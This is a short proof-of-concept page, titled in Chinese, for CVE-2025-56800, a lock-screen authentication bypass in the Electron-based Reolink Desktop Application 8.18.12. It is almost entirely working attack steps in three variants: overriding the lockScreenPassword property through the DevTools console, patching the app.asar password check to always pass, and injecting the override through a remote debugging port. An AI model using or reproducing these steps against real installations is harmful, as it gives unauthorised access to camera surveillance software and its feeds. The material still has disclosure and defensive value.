CVE-2025-56800 Reolink桌面应用本地认证绕过漏洞

/* CVE-2025-56800 - Reolink Desktop Application Lock Screen Bypass PoC * Vulnerability: Client-side authentication bypass via modifiable JavaScript property * Target: Reolink Desktop Application 8.18.12 (Electron-based) */ // Method 1: Modify the lockScreenPassword property directly via DevTools Console // Open DevTools (Ctrl+Shift+I or via menu) and execute in the Console tab: // Step 1: Locate the settingsManager object const settingsManager = a.settingsManager; // Step 2: Override the lockScreenPassword property to a known value Object.defineProperty(settingsManager, 'lockScreenPassword', { value: 'bypass_password', writable: true, configurable: true }); // Step 3: Alternatively, override the getter to always return a known password Object.defineProperty(settingsManager, 'lockScreenPassword', { get: function() { return 'bypass_password'; }, set: function() {}, configurable: true }); // Step 4: Enter 'bypass_password' in the lock screen to bypass authentication // Method 2: Patch the asar archive directly // Extract the asar file: // npx asar extract app.asar ./app_extracted // // Modify the JavaScript file containing the password comparison logic: // Find: if (inputPassword === a.settingsManager.lockScreenPassword) { ... } // Replace with: if (true) { ... } // // Repackage the asar file: // npx asar pack ./app_extracted ./app_modified.asar // Replace the original app.asar with the modified version and restart the application. // Method 3: Runtime hook using Electron debugging port // Launch the application with remote debugging enabled: // ./Reolink --remote-debugging-port=9222 // // Connect via Chrome DevTools at chrome://inspect and execute the property override as shown in Method 1.